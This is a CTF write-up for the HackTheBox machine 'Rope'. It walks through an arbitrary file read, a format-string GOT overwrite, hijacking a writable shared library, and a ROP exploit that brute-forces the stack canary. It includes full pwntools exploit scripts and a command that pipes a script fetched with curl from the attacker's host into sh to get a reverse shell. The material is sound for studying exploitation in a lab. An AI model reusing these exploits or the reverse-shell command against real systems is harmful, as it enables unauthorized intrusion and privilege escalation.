Rope

Rope is an insane machine from hackthebox that will have to exploit an arbitrary file read to download the binary of the running web server and perform reverse engineering to it. With that, you will need to exploit format strings in order to overwrite the GOT table with the address of system() and pass arguments to it through the HTTP method to spawn a shell as john. After it, you will need to check the files that can be executed as other users. Doing that, you will see that the file that can be ran as r4j uses a library that your current user can write. After writing a malicious shared library in the location and getting shell as r4j, you will have access to the file a process that is being ran as the root user. Downloading it, the attack will exploit a buffer overflow with almost protections enabled by exploit the fork() calls on the program to brute the canary.

Enumeration

Doing a nmap port scanning, we can discover the ports 22 and 9999 opened.

fe293af4351546c4bc0452d93fccd4b7.png

Opening the page in a web browser, it shows us a login page.

5e0a229e06d84db09e9cfab4c1be4052.png

Fuzzing the paths with the "fuzz-Bo0m" wordlist, we can find an interesting file named "run.sh"

562ac3aa2e864c6db9e14fe4579cb4f5.png

Accessing it, gives to us the name of the webserver that it is running on CWD.

2fdb0e3cbf764b3887248d69e26425f6.png

With an attempt to access it directly, we can download the binary.

56397293e59642c2aa22225125d3f39e.png

Shell as john

Running a checksec on the binary, we can see that it has canary, NX and PIE enable with partial RELRO.

9fac453d1f1d4e4c9626c5705263965b.png

Opening the file in IDA to get a dissasembled version of the binary, it's possible to check the program's main function.

3f1f2a1532704fc1992e9a2f3ab00fca.png

This part of the program is just setting the binary to listen to the 9999 port, create a new process with "fork()" and call the "process()" within it.

Before perform actions with the data, the "process()" function calls the "parse_request()" to, what seems, parse the request obtained from the user.

85c3f1185c91aa625b45e38ed57e3741.png

The "parse_request()" can be resumed in the following pseudo code:

struct {
	char method[1024];
	char path[1024];
	unsigned long int range_start;
	unsigned long int range_end;
} req_data

range_start, range_end = (0, 0)

line = readlinen(request, 1024)
scanf(line,"%s %s", req_data.method, req_data.path)

while method[0] != '\n' and method[0] != '\n':
    line = readlinen(request, 1024)
    if line.startswith("Ran"):
		scanf(line, "Range: bytes=%lu-%lu", req_data.range_start, req_data.range_end)

if req_data.path[0] == '/':
	for c in range(len(req_data.path):
		if req_data.path[c] == '?':
			req_data.path[0] = 0
else:
	req_data.path = "index.html"

url_decode(req_data.path)
return

This means that we can pass a header named "Range" with two numbers that the program will perform something with them further. Let's go back to the process function.

After parsing the data, the program call one function, "serve_static()" if the requested path is a file, or "handle_directory_request", if it is a directory.

Reading the disassemble of server_static, it's possible to see how's the program logic.

Pasted image 20241228212041.png

Basically, the program is sending us some headers and calling "sendfile(out_fd, in_fd, range_start, range_end-range_start)", which "in_fd" being "open(req_data.path)".

This means that, theoretically, we can just pass the full path of any file on the machine that the user running the program can read and it's value will return to us. Testing this theory with "/etc/passwd", we can get the file successfully.

Pasted image 20241228213151.png

That's great. For now, let's go back to process.

Before return to the main function, the program calls "*log_access(int status, in_addr con, *req_data)**".

Pasted image 20241228210522.png

At the line 12, we can clearly see a format string bug, where our path is sent to "printf()" without any sanitisation. This bug can give to us a read and a write primitive to the binary memory.

As after the format string vulnerability the program calls "puts()" with an argument that we control "req_data->method" and the binary only has partial RELRO, we can perform a GOT overwrite to overwrite the GOT index of puts with the address of "system" on glibc. So, instead of calling "puts(req_data->method)" it will call "system(req_data->method)".

But, as the binary has PIE enabled, and the system (probably) has ASLR, we have to find a way to leak an address and calculate the base addresses by using them.

We could use the format string bug to achieve this, but it only prints to the output of the program, so no data is sent to us.

One interesting directory in linux is the "/proc/<pid>" directory. It has some files that contains information about process with the requested PID, or about the current process if the directory accessed is "self".

One of these files is the "/proc/\self/maps" because it contains the memory mapping of the program and the shared libraries.

Pasted image 20241228213610.png

This means that, if we can access this file, we have the base address of the binary and libc. So, we can use our arbitrary file read to read this file, right?

Pasted image 20241228213903.png

Trying to access the file, gives to us an empty response. Why?

We can see in the "Content-length" header that the program identified the length of the file being 0. Running the command "stat" on "/proc/self/maps" in our machine gives to us that, in fact, the operational system identifies this file having the length of 0.

Pasted image 20241228214307.png

So, we need a way to pass the correct length to the program. And we have it. When calling "sendfile()", the program sends the start offset and how bytes it will read as the arguments received through the "Range" header.

Trying request the file again but with the new headers, the mapping file is returned.

Pasted image 20241228214907.png

With all these information, we are ready to write our exploit.

At first, we need to write a function to download the mapping.

from pwn import *

server = "10.129.206.164"
port   = 9999

def get_bases():
	r = remote(server, port)
	r.send("GET //proc/self/maps HTTP/1.1\r\nRange: bytes=0-9999\r\n\r\n")
	maps = r.recvall().decode()
	r.close()

	print(maps)
	maps = maps.split('\n')[6:]
	elf_base  = int(maps[0].split('-')[0], 16)
	libc_base = int(maps[6].split('-')[0], 16)

	return elf_base, libc_base

elf_base, libc_base = get_bases()

log.success(f"ELF base: {hex(elf_base)}")
log.success(f"libc base: {hex(libc_base)}")

After that, we will need to calculate the "system()" function in libc. We currently do not have the glibc file, so let's download with our bug.

Pasted image 20241228215551.png
elf  = context.binary = ELF("./httpserver", checksec=False)
libc = ELF("./libc-2.27.so", checksec=False)

elf.address  = elf_base
libc.address = libc_base

log.info(f"puts@gots: {hex(elf.got["puts"])}")
log.info(f"system@libc: {hex(libc.sym["system"])}")

Fortunately, pwntools gives to us an interface to explore format strings bugs named fmtstr_payload.

payload = fmtstr_payload(53, {elf.got["puts"]: libc.sym["system"]})
payload_encoded = urllib.parse.quote(payload)
print(payload_encoded)

Finally, we can send our malicious command to download a reverse shell and execute it.

r = remote(server, port)
r.send("curl${IFS}http://10.10.14.174|sh /")
r.send(payload_encoded)
r.send(" HTTP/1.1\r\n\r\n")
r.close()

After executing the exploit, we got a reverse shell connection.

Pasted image 20241228221014.png

Shell as r4j

As the goal of these writeups is to write only about memory corruption, I will be skipping how the details of how to get shell as this user. As a short description, you will need to list the commands that you can run as other users by using sudo -l. Doing that, you will find that you can execute /usr/bin/readlogs as r4j. Checking the shared libraries of the file, you can check that the binary uses the /lib/x86_64-linux-gnu/liblog.so and you can write to it.

By decompiling the readlogs file, you will discover that it calls a function named printlog. So, you will need to create a shared object file with a function named as printlog that calls system() from stdlib.h and copy this file to the location of liblog.so. After that, you can just call sudo -u r4j readlogs and execute what you put on the shared object.

Shell as root

With a shell as r4j, we can start enumerating the machine in order to search some way to escalate our privileges up. Using the command ss -tulpn, it's possible to see a running process that is listening the port 1337 on the machine. Let's download the file to our machine.

Opening it in IDA, we can see how the program works.

Pasted image 20250106141018.png

It setups a socket listening on the port 1337 and starts a loop to handle the receiving connections. When a connection is received, the program calls the sub_14EE function sending the file descriptor of the connection to it.

Pasted image 20250106141635.png

In the function start, it calls the fork function, effectively forking the process and creating a new thread. After it, the program writes Please enter the message you want to send to admin: to the connection and calls the sub_159A function.

Pasted image 20250106141938.png

At this function, we clearly have a buffer overflow vulnerability, where the function recv writes 1024 bytes to a buffer that only supports 56 bytes. So, what we can do with this?

Pasted image 20250106142120.png

The program has almost all the protections enabled, just having partial reallocation read-only as the least level of protection.

We will need a way to find or leak the canary, in order bypass the stack smashing protection feature, and leak the instruction pointer register (RIP), to locate ourselves in the binary and calculate the offset in order to redirect the execution flow to a ROP chain. And how could we leak them?

If you paid attention, you said that I've mentioned that the program calls fork() to each received connection. When this function is called, the current stack is copied to the new process. This implies that, for every new process, the same canary value is used.

As the canary protection works by checking if the value overwritten on the canary address stored in the stack is equal than the value stored earlier in the stack (where we can't write), if we sent one byte and the connection do not crash, we can assume that the byte we sent is correctly part of the canary. Let's test this theory.

Before running the program in GDB, we must set the detach-on-fork option to off and follow-fork-mode to child.

Screenshot_20250106_155020.png

After that, we will need to setup a breakpoint after the buffer overflow. Which is at the 0x15CC offset.

Pasted image 20250106160711.png

After sending 56 bytes followed by a "\x69" to localhost:1337 with python3 -c 'from pwn import *; import sys; sys.stdout.buffer.write(b"A"*56 + b"\x69")' | nc localhost 1337, we can reach the breakpoint.

First, we can check the current canary with pwndbg's canary command.

Pasted image 20250106161355.png

0x1e89ca993f04e900 is our value. Now, reading the 10 QWORDS in the stack, it's possible to see the canary with only the last byte tampered.

Pasted image 20250106161449.png

As the canary value was changed to a different value, if we continue the execution we should see a stack smashing message.

Pasted image 20250106162800.png

One interesting behaviour is that if we come back to the server response, it is possible to see that, as the process was exited, no response came.

Pasted image 20250106162834.png

Now, as the canary stack value always will end with a null byte, let's send 56 As followed by a zero.

Pasted image 20250106181139.png

We received a different response. In this time, the server answered us with a "Done." string. And as we can tell what bytes were correct, it's possible to brute the canary (and other things).

from pwn import *
from time import *

server = "localhost"
port   = 1337
crash  = 56

def brute_8_bytes(data, pre_payload, delay=False):
    content = b""

    while len(content) != 8:
        for i in range(256):
            byte = int.to_bytes(i)

            r = remote(server, port, level="warning")

            print(f"trying byte {hex(int.from_bytes(byte))}\r", end='')

            r.send(pre_payload + content + byte)

            if delay:
                sleep(1)
                
            res = r.clean()
            r.close()

            if b"Done.\n" in res:
                content += byte
                log.info(f"{data} updated: {content}")
                break

    return content

payload = cyclic(crash)
canary = u64(brute_8_bytes("canary", payload, port != 1337))
breakpoint()

You can see that the delay parameter is set to True if port is equal to 1337. The reason to this be in the code is because you will need to forward the port from the machine. And as SSH's port forwarding is kind of buggy, you will need to apply a little delay before receiving the response.

Pasted image 20250106184121.png

The canary had change because the program was restarted, but attaching GDB to the new instance we can see that the found canary is correct.

Pasted image 20250106184257.png

Now, we have the canary. To keep continuing exploring the binary, we should overwrite the instruction pointer with the address of the start of our ROP chain. The executable was compiled with PIE, so we do not have static address to overwrite the return address with. We need to find a way to get it and calculate the other offsets with it.

Let's inspect the binary stack and search for the return address.

Pasted image 20250106193449.png

We can see that 16 bytes after the end of the buffer we have what seems a pointer to an instruction. Let's finalise the current function and see if the RIP is equal that value.

Pasted image 20250106194149.png

Nice, there it is. So, if we use the same methodology we used to brute the canary but this time writing the return address it should work as well but not so reliable. As we will write the return address, if we overwrite it with any executable address, it should not crash. We can prevent this by overwriting the last byte (or the last 12 bits) with the parts that we already have (0x62).

Before bruting the return address, we must to get RBP in order to get our payload working. We can use our function to do this without any problems.

payload += p64(canary)
rbp = u64(brute_8_bytes("rbp", payload, port != 1337))
payload += p64(rbp)

rip = brute_8_bytes("rip", payload, port != 1337)
rip = u64(b"\x62" + rip[1:])

breakpoint()

After run the updated exploit, we got the return address.

Pasted image 20250106202230.png

To calculate the elf base address from this we just need to subtract 0x1562 from this value.

Pasted image 20250107170904.png

With the libs commands from pwndbg, we can verify that this is indeed the base address.

Pasted image 20250107170945.png

Now it's easy to get the libc base address by using the ret2plt technique to call write() from PLT to write the printf() GOT address to the socket.

pie = rip - 0x1562
log.info(f"PIE offset: {hex(pie)}")

elf = context.binary = ELF("./contact", checksec=False)
elf.address = pie

RET     = 0x1016    # ret
POP_RDI = 0x164b    # pop rdi ; ret
POP_RSI_R15 = 0x1649    # pop rsi ; pop r15 ; ret
POP_RDX = 0x1265    # pop rdx ; ret
rop = flat(
    payload,
    elf.address + POP_RDI,
    4,                          # int fildes
    elf.address + POP_RSI_R15,
    elf.got["printf"],          # const void *buf
    p64(0xdeadbeefcafebabe),    # foo to pop r15
    elf.address + POP_RDX,
    8,                          # size_t nbyte
    elf.address + RET,
    elf.plt["write"]
)

con = remote(server, port, level="info")
con.recvuntil("Please enter the message you want to send to admin:\n")
con.send(rop)
printf = u64(con.recvall())
con.close()
breakpoint()

Running it and printing the received value, we got a value.

Pasted image 20250107172347.png

Checking what the value is with pwndbg, we can state that it is the printf() address.

Pasted image 20250107172423.png

Now we can use this value to get the libc base address.

libc = ELF("./libc.so.6", checksec=False)
libc.address = printf - libc.sym["printf"] 
log.success(f"glibc base: {hex(libc.address)}")
log.info(f"dup2@glibc: {hex(libc.sym["dup2"])}")

With the lib address, we can calculate any function address and a ROP chain to execute them. If we execute execve("/bin/sh") to spawn a shell, the shell input would go to the default stdin and the output would go to the default stdout, which have 0 and 1 as file descriptors, respectively.

To redirect the shell to us, we must use the dup2 function to copy these file descriptors to the file descriptor of the current connection before calling execve() itself.

payload = flat(
    b'A'*crash,
    canary,
    rbp, 

    elf.address + POP_RDI,
    4,                          # newfd
    elf.address + POP_RSI_R15,
    0,                          # oldfd -> stdin
    0,                          # junk r15
    libc.sym["dup2"],

    elf.address + POP_RDI,
    4,                          # newfd
    elf.address + POP_RSI_R15,
    1,                          # oldfd -> stdout
    0,                          # junk r15
    libc.sym["dup2"],

    elf.address + POP_RDI,
    next(libc.search(b"/bin/sh")),    # /bin/sh addr
    elf.address + POP_RSI_R15,
    0,
    0,
    libc.sym["execve"],
    libc.sym["exit"]
)

con = remote(server, port, level="info")
con.recvuntil("Please enter the message you want to send to admin:\n")
con.send(payload)
con.interactive()
con.close()

Running the entire exploit, we can get a shell spawned from the machine.

Pasted image 20250107174311.png

Last updated